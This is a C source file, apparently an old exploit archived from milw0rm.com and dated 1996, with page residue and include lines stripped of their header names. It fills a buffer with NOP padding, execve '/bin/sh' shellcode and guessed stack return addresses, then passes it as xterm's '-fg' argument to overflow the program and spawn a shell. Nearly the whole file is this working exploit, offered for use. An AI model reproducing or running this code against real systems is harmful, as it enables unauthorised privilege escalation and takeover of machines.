55 lines
No EOL
1.3 KiB
C
55 lines
No EOL
1.3 KiB
C
#include
|
|
#include
|
|
#include
|
|
|
|
#define DEFAULT_OFFSET 0
|
|
#define BUFFER_SIZE 1491
|
|
|
|
long get_esp(void)
|
|
{
|
|
__asm__("movl %esp,%eax\n");
|
|
}
|
|
|
|
main(int argc, char **argv)
|
|
{
|
|
char *buff = NULL;
|
|
unsigned long *addr_ptr = NULL;
|
|
char *ptr = NULL;
|
|
|
|
char execshell[] = "\xeb\x23" "\x5e" "\x8d\x1e" "\x89\x5e\x0b" "\x31\xd2"
|
|
"\x89\x56\x07" "\x89\x56\x0f" "\x89\x56\x14" "\x88\x56\x19" "\x31\xc0"
|
|
"\xb0\x3b" "\x8d\x4e\x0b" "\x89\xca" "\x52" "\x51" "\x53" "\x50"
|
|
"\xeb\x18"
|
|
"\xe8\xd8\xff\xff\xff" "/bin/sh" "\x01\x01\x01\x01" "\x02\x02\x02\x02"
|
|
"\x03\x03\x03\x03" "\x9a\x04\x04\x04\x04\x07\x04";
|
|
|
|
int i, ofs=DEFAULT_OFFSET, bs=BUFFER_SIZE;
|
|
|
|
if(argc>1)
|
|
ofs=atoi(argv[1]);
|
|
if(argc>2)
|
|
bs=atoi(argv[2]);
|
|
printf("Using offset of esp + %d (%x)\nBuffer size %d\n",
|
|
ofs, get_esp()+ofs, bs);
|
|
|
|
buff = malloc(4096);
|
|
if(!buff)
|
|
{
|
|
printf("can't allocate memory\n");
|
|
exit(0);
|
|
}
|
|
ptr = buff;
|
|
memset(ptr, 0x90, bs-strlen(execshell));
|
|
ptr += bs-strlen(execshell);
|
|
for(i=0;i < strlen(execshell);i++)
|
|
*(ptr++) = execshell[i];
|
|
addr_ptr = (long *)ptr;
|
|
for(i=0;i < (8/4);i++)
|
|
*(addr_ptr++) = get_esp() + ofs;
|
|
ptr = (char *)addr_ptr;
|
|
*ptr = 0;
|
|
execl("/usr/X11R6/bin/xterm", "xterm", "-fg", buff, NULL);
|
|
}
|
|
|
|
|
|
// milw0rm.com [1996-08-24]
|